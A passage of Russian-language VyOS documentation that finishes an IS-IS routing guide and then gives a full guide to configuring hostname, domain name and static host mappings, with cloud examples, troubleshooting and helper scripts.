### Interface Configuration

1. **Point-to-point** для direct links и VPN
2. **Passive** для loopback и server-facing интерфейсы
3. **Authentication** на всех production интерфейсах
4. **Metric** настраивать для traffic engineering

### Timers

1. **Default timers** достаточны для большинства deployments
2. **BFD** для sub-second failover вместо aggressive hello timers
3. **SPF timers** tune только при необходимости

### Authentication

1. **MD5 для area и domain passwords**
2. **Уникальные passwords** для разных areas/domains
3. **Regular password rotation**
4. **Interface passwords** для дополнительной защиты

### Scalability

1. **Metric style wide** для modern deployments
2. **Summarization** на L1/L2 boundaries
3. **Passive интерфейсы** для non-transit networks
4. **Minimal redistribution** - используйте BGP для external routes

### Monitoring

1. **Log adjacency changes**:
   ```
   set protocols isis log-adjacency-changes
   ```

2. **Monitor neighbors**:
   ```
   show isis neighbor
   ```

3. **Monitor database size**:
   ```
   show isis database
   ```

4. **Monitor BFD sessions**:
   ```
   show bfd peers
   ```

### Datacenter Fabric

1. **L2 only** (single area)
2. **Point-to-point** все links
3. **BFD enabled** для fast failover
4. **ECMP** для load balancing (автоматически с equal cost paths)
5. **Metric** одинаковые на всех links для symmetric ECMP

## Безопасность

### Рекомендации

1. **MD5 Authentication**:
   ```
   set protocols isis domain-password md5 'SecurePassword123!'
   set protocols isis area-password md5 'AreaPassword123!'
   ```

2. **Interface passwords**:
   ```
   set protocols isis interface eth1 password plaintext-password 'HelloSecret'
   ```

3. **Passive интерфейсы**:
   ```
   set protocols isis interface eth2 passive
   ```

4. **Firewall для IS-IS** (multicast 01:80:C2:00:00:14, 01:80:C2:00:00:15):

   IS-IS работает на Layer 2, firewall должен разрешить:
   - All-IS multicast (L1): 01:80:C2:00:00:14
   - All-L2-IS multicast (L2): 01:80:C2:00:00:15

5. **Limit IS-IS interfaces** к trusted links only:

   Не включайте IS-IS на untrusted/external интерфейсах.

6. **Log adjacency changes**:
   ```
   set protocols isis log-adjacency-changes
   ```

7. **Overload bit** при maintenance:
   ```
   set protocols isis overload-bit
   commit
   ```

## Производительность

### Optimization

1. **Metric style wide**:
   ```
   set protocols isis metric-style wide
   commit
   ```

2. **SPF optimization** для нестабильных сетей:
   ```
   set protocols isis spf-delay-ietf init-delay 100
   set protocols isis spf-delay-ietf short-delay 500
   set protocols isis spf-delay-ietf long-delay 5000
   commit
   ```

3. **BFD** для fast failover:
   ```
   set protocols isis interface eth1 bfd
   commit
   ```

4. **Passive interfaces** для уменьшения overhead:
   ```
   set protocols isis interface lo passive
   set protocols isis interface eth2 passive
   commit
   ```

5. **LSP refresh optimization**:
   ```
   set protocols isis lsp-refresh-interval level-2 900
   commit
   ```

## Сравнение с другими протоколами

### IS-IS vs OSPF

| Характеристика | IS-IS | OSPF |
|---------------|-------|------|
| Уровень работы | Layer 2 | Layer 3 (IP) |
| Иерархия | L1/L2 (flexible) | Areas + mandatory Area 0 |
| IPv4 и IPv6 | Один процесс | Отдельные процессы (OSPFv2/v3) |
| Метрика | Arbitrary (default 10) | Cost (bandwidth-based) |
| Конвергенция | Быстрая | Быстрая |
| Масштабируемость | Лучше | Хорошая |
| Сложность | Выше (OSI терминология) | Средняя |
| Распространение | ISP, DC | Enterprise |
| Address overhead | Меньше | Больше |

### IS-IS vs EIGRP

**IS-IS** - открытый стандарт, link-state.
**EIGRP** - Cisco proprietary (теперь открыт), advanced distance-vector.

IS-IS предпочтительнее в multi-vendor средах.

### Когда использовать IS-IS

**Используйте IS-IS**:
- ISP backbone
- Datacenter leaf-spine fabric
- MPLS core
- Large-scale networks
- Dual-stack IPv4/IPv6
- Multi-vendor environment

**Используйте OSPF**:
- Enterprise campus
- Small to medium networks
- Legacy integrations
- Проще для администраторов

**Используйте BGP**:
- External routing (Internet)
- Multi-homing
- Policy-based routing

Часто IS-IS и BGP используются вместе: IS-IS для IGP, BGP для external/customer routes.

## Следующие шаги

- [BGP](/docs/vyos/routing/vyos-bgp/) - для external routing и customer routes
- [OSPF](/docs/vyos/routing/vyos-ospf/) - альтернативный IGP
- [Static Routes](/docs/vyos/routing/vyos-static/) - backup для IGP
- [MPLS](/docs/vyos/routing/vyos-mpls/) - для MPLS VPN
- [BFD](/docs/vyos/routing/vyos-bfd/) - быстрое обнаружение отказов

## Дополнительные ресурсы

- [VyOS IS-IS Documentation](https://docs.vyos.io/en/latest/configuration/protocols/isis.html)
- [ISO 10589 Standard](https://www.iso.org/standard/30932.html)
- [RFC 1142 - OSI IS-IS Intra-domain Routing Protocol](https://tools.ietf.org/html/rfc1142)
- [RFC 5308 - Routing IPv6 with IS-IS](https://tools.ietf.org/html/rfc5308)
- [FRRouting IS-IS](https://docs.frrouting.org/en/latest/isisd.html)


---

# Host Name - Имя хоста и информация о системе

Source: https://opennix.org/docs/vyos/system/vyos-host-name/


Имя хоста (hostname) - это уникальное имя, которое идентифицирует устройство в сети; вместе с доменным именем оно образует полное доменное имя (FQDN). Данная страница описывает настройку имени хоста, доменного имени и статических записей разрешения имен в VyOS. Эти параметры являются базовыми для идентификации устройства в сети и корректной работы сетевых служб.

## Обзор

Имя хоста и доменное имя используются для:

- **Идентификации устройства** в сети
- **Формирования FQDN** (Fully Qualified Domain Name)
- **Логирования** и мониторинга
- **Интеграции с облачными платформами** (Yandex Cloud, VK Cloud)
- **DNS-резолюции** локальных имен
- **Работы сетевых служб** (NTP, SNMP, syslog)

## Имя хоста (Hostname)

### Описание

Имя хоста - это уникальная метка, идентифицирующая устройство в сети. В VyOS имя хоста используется:

- В приглашении командной строки (CLI prompt)
- В логах системы
- В SNMP system name
- Как часть FQDN при наличии доменного имени

### Ограничения RFC 1123

Имя хоста должно соответствовать стандарту RFC 1123:

**Длина:**
- Минимум: 1 символ
- Максимум: 63 символа

**Допустимые символы:**
- Буквы латинского алфавита: a-z, A-Z
- Цифры: 0-9
- Дефис: - (только внутри имени)

**Правила:**
- Должно начинаться с буквы или цифры
- Должно заканчиваться буквой или цифрой
- Внутри может содержать буквы, цифры и дефисы
- Регистр не учитывается (case-insensitive)
- Не может содержать точки, подчеркивания или другие специальные символы

### Конфигурация

#### Базовая настройка

```bash
# Установка имени хоста
set system host-name vyos-router

# Применение конфигурации
commit
save
```

#### Примеры валидных имен

```bash
# Короткое имя
set system host-name gateway

# Имя с цифрами
set system host-name router01

# Имя с дефисами
set system host-name core-router-01

# Максимальная длина (63 символа)
set system host-name vyos-production-core-router-datacenter-moscow-rack-12-unit-1
```

#### Примеры невалидных имен

```bash
# ОШИБКА: начинается с дефиса
set system host-name -router

# ОШИБКА: заканчивается дефисом
set system host-name router-

# ОШИБКА: содержит подчеркивание
set system host-name vyos_router

# ОШИБКА: содержит точку
set system host-name vyos.router

# ОШИБКА: содержит пробел
set system host-name "vyos router"

# ОШИБКА: более 63 символов
set system host-name vyos-production-core-router-datacenter-moscow-rack-12-unit-1-mgmt
```

### Значение по умолчанию

При первой загрузке VyOS использует имя хоста по умолчанию:

```bash
vyos@vyos:~$
```

После настройки имени хоста приглашение CLI изменится:

```bash
# После установки host-name gateway
vyos@gateway:~$
```

## Доменное имя (Domain Name)

### Описание

Доменное имя определяет DNS-суффикс, добавляемый к неполным именам хостов для формирования FQDN (Fully Qualified Domain Name).

**Принцип работы:**
- Если указан только hostname без домена, используется как есть
- Если указан hostname и domain-name, формируется FQDN: `hostname.domain-name`
- При резолюции неполных имен автоматически добавляется суффикс домена

### Конфигурация

#### Базовая настройка

```bash
# Установка доменного имени
set system domain-name example.com

# Применение конфигурации
commit
save
```

#### Полная конфигурация hostname + domain

```bash
# Установка имени хоста и домена
set system host-name router01
set system domain-name corp.example.com

# Результат: FQDN = router01.corp.example.com
commit
save
```

### Примеры использования

```bash
# Корпоративная сеть
set system host-name core-router
set system domain-name datacenter.moscow.mycompany.ru

# FQDN: core-router.datacenter.moscow.mycompany.ru
```

```bash
# Облачная инфраструктура
set system host-name vyos-gw
set system domain-name cloud.internal

# FQDN: vyos-gw.cloud.internal
```

### Влияние на резолюцию имен

При настроенном domain-name система автоматически добавляет его к неполным именам:

```bash
# С настройкой: set system domain-name example.com

# ping server -> DNS запрос для server.example.com
vyos@router:~$ ping server

# Для полных имен суффикс не добавляется
vyos@router:~$ ping server.otherdomain.com
```

## Статические записи хостов (Static Host Mapping)

### Описание

Статические записи хостов позволяют создавать локальное разрешение имен в IP-адреса без использования внешнего DNS-сервера. Это аналог ручного редактирования файла `/etc/hosts`, но с управлением через конфигурацию VyOS.

**Преимущества:**
- Управление через конфигурацию VyOS (commit/rollback)
- Автоматическая генерация `/etc/hosts` при загрузке
- Поддержка множественных алиасов для одного хоста
- Сохранение при перезагрузке

**Предупреждение:**
Не редактируйте файл `/etc/hosts` вручную - он автоматически перезаписывается при загрузке системы из конфигурации VyOS.

### Конфигурация

#### Базовая запись

```bash
# Добавление статической записи хоста
set system static-host-mapping host-name server1.example.com inet 192.168.1.10

# Применение конфигурации
commit
save
```

#### Запись с алиасами

```bash
# Основная запись
set system static-host-mapping host-name db-server.corp.local inet 10.0.1.100

# Добавление алиасов
set system static-host-mapping host-name db-server.corp.local alias database
set system static-host-mapping host-name db-server.corp.local alias db
set system static-host-mapping host-name db-server.corp.local alias mysql-primary

# Результат в /etc/hosts:
# 10.0.1.100 db-server.corp.local database db mysql-primary
```

#### Множественные хосты

```bash
# Внутренние серверы
set system static-host-mapping host-name web01.local inet 10.0.10.11
set system static-host-mapping host-name web02.local inet 10.0.10.12
set system static-host-mapping host-name db01.local inet 10.0.10.21
set system static-host-mapping host-name cache01.local inet 10.0.10.31

# Алиасы для веб-серверов
set system static-host-mapping host-name web01.local alias www1
set system static-host-mapping host-name web02.local alias www2

# Алиасы для базы данных
set system static-host-mapping host-name db01.local alias database
set system static-host-mapping host-name db01.local alias postgres

# Алиасы для кэша
set system static-host-mapping host-name cache01.local alias redis
set system static-host-mapping host-name cache01.local alias cache
```

### IPv6 поддержка

```bash
# IPv4 запись
set system static-host-mapping host-name server.example.com inet 192.168.1.10

# IPv6 запись (если поддерживается)
set system static-host-mapping host-name server.example.com inet6 2001:db8::10

# Dual-stack хост
set system static-host-mapping host-name webserver.local inet 10.0.1.50
set system static-host-mapping host-name webserver.local inet6 fd00::50
set system static-host-mapping host-name webserver.local alias www
```

### Удаление записей

```bash
# Удаление конкретного алиаса
delete system static-host-mapping host-name server.local alias www

# Удаление всей записи хоста
delete system static-host-mapping host-name server.local

# Применение изменений
commit
save
```

## Примеры для облачных платформ

### Пример 1: Yandex Cloud - Cloud-init vs статическая конфигурация

В Yandex Cloud имя хоста может устанавливаться через cloud-init при создании VM. Однако для гарантированного сохранения имени рекомендуется использовать конфигурацию VyOS.

#### Сценарий: Конфликт cloud-init и VyOS config

```bash
# Ситуация: cloud-init устанавливает hostname "instance-1"
# Требуется: переопределить на "vyos-edge-router"

# Решение: Настройка в VyOS имеет приоритет
configure
set system host-name vyos-edge-router
set system domain-name ru-central1.internal

# Статические записи для внутренних сервисов Yandex Cloud
set system static-host-mapping host-name metadata.yandex inet 169.254.169.254
set system static-host-mapping host-name metadata.yandex alias metadata

# Внутренние серверы в Yandex Cloud
set system static-host-mapping host-name app-server-1.ru-central1.internal inet 10.128.0.10
set system static-host-mapping host-name app-server-2.ru-central1.internal inet 10.128.0.11
set system static-host-mapping host-name db-master.ru-central1.internal inet 10.129.0.5

commit
save
exit
```

#### Проверка приоритета конфигурации

```bash
# Проверка установленного имени хоста
vyos@vyos-edge-router:~$ show host name
vyos-edge-router

# Проверка FQDN
vyos@vyos-edge-router:~$ hostname -f
vyos-edge-router.ru-central1.internal

# Проверка разрешения metadata сервера
vyos@vyos-edge-router:~$ ping metadata
PING metadata.yandex (169.254.169.254) 56(84) bytes of data.
```

#### Post-deployment скрипт для Yandex Cloud

```bash
#!/bin/vbash
# vyos-yandex-cloud-init.sh
# Скрипт для настройки VyOS в Yandex Cloud после деплоя

source /opt/vyatta/etc/functions/script-template

configure

# Базовая конфигурация хоста
set system host-name vyos-router-{{ zone_id }}
set system domain-name {{ folder_name }}.yandex.internal

# Yandex Cloud metadata service
set system static-host-mapping host-name metadata.yandex.cloud inet 169.254.169.254
set system static-host-mapping host-name metadata.yandex.cloud alias metadata
set system static-host-mapping host-name metadata.yandex.cloud alias cloud-init

# DNS серверы Yandex Cloud
set system name-server 192.168.0.2

commit
save
exit
```

### Пример 2: VK Cloud - DNS резолюция с статическими хостами

В VK Cloud часто требуется настройка локальных имен для внутренних сервисов при отсутствии корпоративного DNS.

#### Конфигурация для VK Cloud проекта

```bash
configure

# Основная конфигурация
set system host-name vkcloud-gateway
set system domain-name msk1.cloud.vk.com

# Статические записи для VK Cloud infrastructure endpoints
set system static-host-mapping host-name infra.mail.ru inet 10.0.0.1
set system static-host-mapping host-name infra.mail.ru alias vk-infra

# Внутренние серверы проекта
set system static-host-mapping host-name app-frontend.msk1.cloud.vk.com inet 10.0.10.10
set system static-host-mapping host-name app-frontend.msk1.cloud.vk.com alias frontend
set system static-host-mapping host-name app-frontend.msk1.cloud.vk.com alias web

set system static-host-mapping host-name app-backend.msk1.cloud.vk.com inet 10.0.10.20
set system static-host-mapping host-name app-backend.msk1.cloud.vk.com alias backend
set system static-host-mapping host-name app-backend.msk1.cloud.vk.com alias api

set system static-host-mapping host-name db-postgres.msk1.cloud.vk.com inet 10.0.20.5
set system static-host-mapping host-name db-postgres.msk1.cloud.vk.com alias database
set system static-host-mapping host-name db-postgres.msk1.cloud.vk.com alias postgres
set system static-host-mapping host-name db-postgres.msk1.cloud.vk.com alias db

set system static-host-mapping host-name cache-redis.msk1.cloud.vk.com inet 10.0.20.15
set system static-host-mapping host-name cache-redis.msk1.cloud.vk.com alias redis
set system static-host-mapping host-name cache-redis.msk1.cloud.vk.com alias cache

# Monitoring и logging
set system static-host-mapping host-name monitoring.msk1.cloud.vk.com inet 10.0.30.10
set system static-host-mapping host-name monitoring.msk1.cloud.vk.com alias prometheus
set system static-host-mapping host-name monitoring.msk1.cloud.vk.com alias grafana

set system static-host-mapping host-name logging.msk1.cloud.vk.com inet 10.0.30.20
set system static-host-mapping host-name logging.msk1.cloud.vk.com alias syslog
set system static-host-mapping host-name logging.msk1.cloud.vk.com alias logs

commit
save
exit
```

#### Тестирование резолюции

```bash
# Проверка разрешения по полному имени
vyos@vkcloud-gateway:~$ ping app-frontend.msk1.cloud.vk.com
PING app-frontend.msk1.cloud.vk.com (10.0.10.10) 56(84) bytes of data.

# Проверка разрешения по алиасу
vyos@vkcloud-gateway:~$ ping frontend
PING app-frontend.msk1.cloud.vk.com (10.0.10.10) 56(84) bytes of data.

# Проверка разрешения с автодобавлением домена
vyos@vkcloud-gateway:~$ ping app-backend
PING app-backend.msk1.cloud.vk.com (10.0.10.20) 56(84) bytes of data.

# Проверка содержимого /etc/hosts
vyos@vkcloud-gateway:~$ cat /etc/hosts
```

### Пример 3: Гибридная конфигурация с внешним DNS

```bash
configure

# Основная конфигурация
set system host-name border-router
set system domain-name production.internal

# DNS серверы (внешние + локальные)
set system name-server 8.8.8.8
set system name-server 8.8.4.4
set system name-server 192.168.1.53

# Статические записи для критичных локальных сервисов
# (используются при недоступности DNS)
set system static-host-mapping host-name dc1-core.production.internal inet 192.168.1.1
set system static-host-mapping host-name dc1-core.production.internal alias core-switch

set system static-host-mapping host-name dc1-fw.production.internal inet 192.168.1.254
set system static-host-mapping host-name dc1-fw.production.internal alias firewall

set system static-host-mapping host-name ntp-primary.production.internal inet 192.168.1.10
set system static-host-mapping host-name ntp-primary.production.internal alias ntp

set system static-host-mapping host-name dns-primary.production.internal inet 192.168.1.53
set system static-host-mapping host-name dns-primary.production.internal alias dns

commit
save
exit
```

## Команды проверки и мониторинга

### Проверка текущей конфигурации

```bash
# Показать настроенное имя хоста
show host name

# Показать информацию о хосте (hostname + domain)
show host

# Показать FQDN
show host fqdn

# Показать все статические записи
show system static-host-mapping

# Показать конфигурацию системы
show configuration system
```

### Проверка на уровне ОС

```bash
# Текущее имя хоста (короткое)
hostname

# FQDN
hostname -f

# Все имена хоста
hostname -A

# Доменное имя
hostname -d

# Содержимое /etc/hosts
cat /etc/hosts

# Содержимое /etc/hostname
cat /etc/hostname

# Резолюция через getent
getent hosts server.local
```

### Тестирование DNS резолюции

```bash
# Ping по имени
ping server.local

# DNS lookup с nslookup
nslookup server.local

# DNS lookup с dig
dig server.local

# DNS lookup с host
host server.local

# Трассировка резолюции
dig +trace server.local
```

### Примеры вывода команд

#### show host

```bash
vyos@router01:~$ show host
Hostname: router01
Domain:   corp.example.com
FQDN:     router01.corp.example.com
```

#### show host name

```bash
vyos@router01:~$ show host name
router01
```

#### show system static-host-mapping

```bash
vyos@router01:~$ show system static-host-mapping
host-name           inet            alias
db-server.local     10.0.1.100      database, db, mysql
web01.local         10.0.10.11      www1
web02.local         10.0.10.12      www2
```

#### cat /etc/hosts (сгенерированный)

```bash
vyos@router01:~$ cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       router01.corp.example.com router01

# Static host mappings
10.0.1.100      db-server.local database db mysql
10.0.10.11      web01.local www1
10.0.10.12      web02.local www2

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
```

## Устранение неполадок (Troubleshooting)

### Проблема 1: Имя хоста не применяется после commit

**Симптомы:**
- Команда `show host name` показывает новое имя
- Приглашение CLI не изменилось
- `hostname` команда показывает старое значение

**Диагностика:**

```bash
# Проверить конфигурацию
show configuration system host-name

# Проверить на уровне ОС
hostname
cat /etc/hostname
```

**Решение:**

```bash
# Пересохранить конфигурацию
configure
commit
save
exit

# Перезапустить сеанс SSH (reconnect)
# или выполнить
sudo systemctl restart vyos-router
```

### Проблема 2: Статические записи не работают

**Симптомы:**
- `ping server.local` не работает
- `cat /etc/hosts` не содержит статических записей

**Диагностика:**

```bash
# Проверить конфигурацию статических записей
show configuration system static-host-mapping

# Проверить /etc/hosts
cat /etc/hosts

# Проверить порядок резолюции
cat /etc/nsswitch.conf | grep hosts
```

**Решение:**

```bash
# Убедиться что конфигурация применена
configure
show system static-host-mapping
commit
save
exit

# Принудительно перегенерировать /etc/hosts
sudo /opt/vyatta/sbin/vyatta-update-hosts.pl

# Проверить результат
cat /etc/hosts
```

### Проблема 3: FQDN формируется неправильно

**Симптомы:**
- `hostname -f` возвращает неправильное значение
- FQDN не содержит доменное имя

**Диагностика:**

```bash
# Проверить hostname и domain отдельно
show host name
show configuration system domain-name

# Проверить на уровне ОС
hostname -s    # короткое имя
hostname -f    # FQDN
hostname -d    # домен
```

**Решение:**

```bash
configure

# Проверить и исправить конфигурацию
set system host-name correct-hostname
set system domain-name correct.domain.com

commit
save
exit

# Проверить результат
hostname -f
```

### Проблема 4: Cloud-init переопределяет hostname

**Симптомы:**
- После перезагрузки hostname возвращается к значению из cloud-init
- VyOS конфигурация игнорируется

**Диагностика:**

```bash
# Проверить cloud-init конфигурацию
cat /etc/cloud/cloud.cfg | grep preserve_hostname

# Проверить логи cloud-init
cat /var/log/cloud-init.log | grep hostname
```

**Решение:**

```bash
# Отключить управление hostname через cloud-init
sudo vi /etc/cloud/cloud.cfg

# Изменить:
# preserve_hostname: false
# на:
# preserve_hostname: true

# Или добавить в VyOS конфигурацию приоритет
configure
set system host-name my-vyos-router
commit
save
exit

# Перезагрузить для проверки
sudo reboot
```

### Проблема 5: DNS резолюция игнорирует static-host-mapping

**Симптомы:**
- `ping server.local` идет в DNS вместо локального /etc/hosts
- Внешний DNS возвращает NXDOMAIN

**Диагностика:**

```bash
# Проверить порядок резолюции
cat /etc/nsswitch.conf | grep hosts

# Должно быть:
# hosts: files dns
# НЕ:
# hosts: dns files

# Проверить /etc/hosts
cat /etc/hosts | grep server.local
```

**Решение:**

```bash
# Убедиться что запись есть в конфигурации
configure
show system static-host-mapping
commit
save
exit

# Если nsswitch.conf неправильный, это баг VyOS
# Временное решение:
sudo vi /etc/nsswitch.conf
# Изменить строку hosts на: hosts: files dns

# Перманентное решение - обновить VyOS или создать post-config скрипт
```

## Лучшие практики (Best Practices)

### 1. Именование хостов

**Используйте описательные, структурированные имена:**

```bash
# Хорошо: роль-локация-номер
set system host-name vyos-gw-msk-01
set system host-name vyos-fw-spb-02
set system host-name vyos-edge-kzn-01

# Плохо: непонятные или слишком длинные
set system host-name router
set system host-name x
set system host-name my-super-duper-production-vyos-router-in-moscow
```

**Используйте консистентную схему:**

```bash
# Схема: сервис-тип-зона-id
set system host-name web-frontend-dc1-01
set system host-name db-postgres-dc1-master
set system host-name cache-redis-dc2-01
```

### 2. Доменные имена

**Используйте внутренние домены для приватных сетей:**

```bash
# Хорошо: .internal, .local, .private, .lan
set system domain-name corp.internal
set system domain-name datacenter.local
set system domain-name cloud.private

# Избегайте: публичные домены для внутренних сетей
# Плохо:
set system domain-name example.com  # если не используется реально
```

**Отражайте структуру сети в доменах:**

```bash
# Иерархическая структура
set system domain-name moscow.datacenter.mycompany.internal
set system domain-name production.cloud.mycompany.ru
set system domain-name dmz.external.mycompany.net
```

### 3. Статические записи хостов

**Документируйте назначение записей:**

```bash
configure

# Infrastructure services - критичные сервисы
set system static-host-mapping host-name ntp.internal inet 10.0.0.10
set system static-host-mapping host-name ntp.internal alias time

set system static-host-mapping host-name dns.internal inet 10.0.0.53
set system static-host-mapping host-name dns.internal alias resolver

# Application servers - прикладные серверы
set system static-host-mapping host-name app01.internal inet 10.0.10.11
set system static-host-mapping host-name app02.internal inet 10.0.10.12

commit
save
exit
```

**Используйте алиасы для удобства:**

```bash
# Полное имя + короткие алиасы
set system static-host-mapping host-name database-primary.internal inet 10.0.20.5
set system static-host-mapping host-name database-primary.internal alias db
set system static-host-mapping host-name database-primary.internal alias postgres
set system static-host-mapping host-name database-primary.internal alias primary
```

### 4. Резервирование критичных записей

**Дублируйте DNS в static-host-mapping:**

```bash
# Критичные сервисы должны резолвиться даже при падении DNS
set system static-host-mapping host-name ntp-server.internal inet 192.168.1.10
set system static-host-mapping host-name dns-server.internal inet 192.168.1.53
set system static-host-mapping host-name mgmt-gateway.internal inet 192.168.1.1
set system static-host-mapping host-name syslog-server.internal inet 192.168.1.100
```

### 5. Интеграция с Cloud провайдерами

**Yandex Cloud:**

```bash
# Используйте зональные имена
set system host-name vyos-gw-ru-central1-a
set system domain-name ru-central1.internal

# Добавляйте metadata service
set system static-host-mapping host-name metadata.yandex inet 169.254.169.254
```

**VK Cloud:**

```bash
# Используйте регион в именовании
set system host-name vyos-router-msk1
set system domain-name msk1.cloud.internal

# Добавляйте Cloud infrastructure endpoints
set system static-host-mapping host-name infra.mail.ru inet 10.0.0.1
```

### 6. Версионирование конфигурации

**Используйте commit-комментарии:**

```bash
configure
set system host-name new-router-name
commit comment "Changed hostname from old-router to new-router-name for standardization"
save
```

**Делайте бэкапы перед изменениями:**

```bash
# Сохранить текущую конфигурацию
save /config/backup-before-hostname-change.config

# Внести изменения
configure
set system host-name new-name
commit
save
```

### 7. Мониторинг и аудит

**Регулярно проверяйте соответствие:**

```bash
# Скрипт проверки hostname соответствия
#!/bin/bash

VYOS_HOSTNAME=$(show host name)
OS_HOSTNAME=$(hostname)

if [ "$VYOS_HOSTNAME" != "$OS_HOSTNAME" ]; then
    echo "WARNING: Hostname mismatch!"
    echo "VyOS config: $VYOS_HOSTNAME"
    echo "OS hostname: $OS_HOSTNAME"
fi
```

**Логируйте изменения:**

```bash
# Просмотр истории изменений hostname
show system commit

# Просмотр конкретного коммита
show system commit diff <commit-number>
```

## Интеграция с другими сервисами VyOS

### SNMP

Hostname используется как SNMPv2-MIB::sysName:

```bash
configure
set system host-name core-router-01
set service snmp community public
commit
save
exit

# SNMP запрос покажет hostname
snmpget -v2c -c public localhost SNMPv2-MIB::sysName.0
# Вывод: SNMPv2-MIB::sysName.0 = STRING: core-router-01
```

### Syslog

Hostname включается в сyslog сообщения:

```bash
configure
set system host-name vyos-gateway
set system syslog global facility all level info
set system syslog host 10.0.0.100 facility all level warning
commit
save
exit

# Syslog messages будут содержать hostname:
# Dec 15 10:30:45 vyos-gateway systemd[1]: Started VyOS Router.
```

### NTP

При настройке NTP сервера hostname используется в идентификации:

```bash
configure
set system host-name ntp-client-router
set system ntp server 0.pool.ntp.org
set system ntp server 1.pool.ntp.org
commit
save
exit
```

### SSH Banner

Hostname может использоваться в SSH баннере:

```bash
configure
set system host-name secure-gateway
set system login banner pre-login "
****************************************************
  Authorized access only!
  Hostname: secure-gateway
  Location: Moscow Datacenter
****************************************************
"
commit
save
exit
```

## Примеры полных конфигураций

### Конфигурация 1: Корпоративный шлюз

```bash
configure

# Hostname и domain
set system host-name corp-gateway-msk
set system domain-name moscow.corp.internal

# Внутренние серверы
set system static-host-mapping host-name dc-controller.moscow.corp.internal inet 10.10.0.10
set system static-host-mapping host-name dc-controller.moscow.corp.internal alias dc
set system static-host-mapping host-name dc-controller.moscow.corp.internal alias ad

set system static-host-mapping host-name exchange.moscow.corp.internal inet 10.10.0.20
set system static-host-mapping host-name exchange.moscow.corp.internal alias mail

set system static-host-mapping host-name fileserver.moscow.corp.internal inet 10.10.0.30
set system static-host-mapping host-name fileserver.moscow.corp.internal alias fs
set system static-host-mapping host-name fileserver.moscow.corp.internal alias files

# Infrastructure
set system static-host-mapping host-name ntp.moscow.corp.internal inet 10.10.0.1
set system static-host-mapping host-name ntp.moscow.core.internal alias time

set system static-host-mapping host-name dns.moscow.corp.internal inet 10.10.0.2
set system static-host-mapping host-name dns.moscow.corp.internal alias resolver

# Monitoring
set system static-host-mapping host-name zabbix.moscow.corp.internal inet 10.10.0.100
set system static-host-mapping host-name zabbix.moscow.corp.internal alias monitoring

commit
save
exit
```

### Конфигурация 2: Облачный edge router (Yandex Cloud)

```bash
configure

# Cloud hostname
set system host-name yc-edge-router-01
set system domain-name ru-central1-a.cloud.internal

# Yandex Cloud metadata
set system static-host-mapping host-name metadata.yandex.cloud inet 169.254.169.254
set system static-host-mapping host-name metadata.yandex.cloud alias metadata
set system static-host-mapping host-name metadata.yandex.cloud alias cloud-init

# Application infrastructure в Yandex Cloud
set system static-host-mapping host-name app-lb.ru-central1-a.cloud.internal inet 10.128.0.10
set system static-host-mapping host-name app-lb.ru-central1-a.cloud.internal alias loadbalancer
set system static-host-mapping host-name app-lb.ru-central1-a.cloud.internal alias lb

set system static-host-mapping host-name app-web-01.ru-central1-a.cloud.internal inet 10.128.0.20
set system static-host-mapping host-name app-web-01.ru-central1-a.cloud.internal alias web1

set system static-host-mapping host-name app-web-02.ru-central1-a.cloud.internal inet 10.128.0.21
set system static-host-mapping host-name app-web-02.ru-central1-a.cloud.internal alias web2

set system static-host-mapping host-name db-managed-postgres.ru-central1-a.cloud.internal inet 10.129.0.5
set system static-host-mapping host-name db-managed-postgres.ru-central1-a.cloud.internal alias database
set system static-host-mapping host-name db-managed-postgres.ru-central1-a.cloud.internal alias postgres

# Yandex Cloud DNS (внутренний)
set system name-server 192.168.0.2

commit
save
exit
```

### Конфигурация 3: VK Cloud multi-zone setup

```bash
configure

# VK Cloud hostname
set system host-name vkc-router-msk1-zone-a
set system domain-name msk1.vkcloud.internal

# VK Cloud infrastructure
set system static-host-mapping host-name infra.mail.ru inet 10.0.0.1
set system static-host-mapping host-name infra.mail.ru alias vk-infra

# Zone A servers
set system static-host-mapping host-name web-a1.msk1.vkcloud.internal inet 10.0.10.11
set system static-host-mapping host-name web-a2.msk1.vkcloud.internal inet 10.0.10.12

# Zone B servers (cross-zone communication)
set system static-host-mapping host-name web-b1.msk1.vkcloud.internal inet 10.1.10.11
set system static-host-mapping host-name web-b2.msk1.vkcloud.internal inet 10.1.10.12

# Managed services
set system static-host-mapping host-name db-managed.msk1.vkcloud.internal inet 10.0.20.5
set system static-host-mapping host-name db-managed.msk1.vkcloud.internal alias database

set system static-host-mapping host-name cache-managed.msk1.vkcloud.internal inet 10.0.20.15
set system static-host-mapping host-name cache-managed.msk1.vkcloud.internal alias redis

# Monitoring и Logging
set system static-host-mapping host-name mon.msk1.vkcloud.internal inet 10.0.30.10
set system static-host-mapping host-name mon.msk1.vkcloud.internal alias monitoring
set system static-host-mapping host-name mon.msk1.vkcloud.internal alias prometheus

set system static-host-mapping host-name log.msk1.vkcloud.internal inet 10.0.30.20
set system static-host-mapping host-name log.msk1.vkcloud.internal alias syslog

commit
save
exit
```

## Автоматизация и скрипты

### Скрипт массового добавления хостов

```bash
#!/bin/vbash
# add-static-hosts.sh
# Массовое добавление статических записей из CSV файла

source /opt/vyatta/etc/functions/script-template

# CSV формат: hostname,ip,alias1,alias2,alias3
# Пример: web01.local,10.0.10.11,www1,web1,frontend1

HOSTS_FILE="/config/static-hosts.csv"

configure

while IFS=',' read -r hostname ip alias1 alias2 alias3; do
    # Пропустить комментарии и пустые строки
    [[ "$hostname" =~ ^#.*$ ]] && continue
    [[ -z "$hostname" ]] && continue

    echo "Adding host: $hostname -> $ip"
    set system static-host-mapping host-name "$hostname" inet "$ip"

    if [ -n "$alias1" ]; then
        set system static-host-mapping host-name "$hostname" alias "$alias1"
    fi

    if [ -n "$alias2" ]; then
        set system static-host-mapping host-name "$hostname" alias "$alias2"
    fi

    if [ -n "$alias3" ]; then
        set system static-host-mapping host-name "$hostname" alias "$alias3"
    fi
done < "$HOSTS_FILE"

commit
save
exit

echo "Static hosts configuration completed!"
```

### Скрипт проверки консистентности

```bash
#!/bin/bash
# check-hostname-consistency.sh
# Проверка соответствия hostname между VyOS config и OS

VYOS_HOSTNAME=$(/opt/vyatta/bin/vyatta-op-cmd-wrapper show host name)
OS_HOSTNAME=$(hostname)
OS_FQDN=$(hostname -f)

echo "=== Hostname Consistency Check ==="
echo "VyOS Config Hostname: $VYOS_HOSTNAME"
echo "OS Hostname:          $OS_HOSTNAME"
echo "OS FQDN:              $OS_FQDN"
echo ""

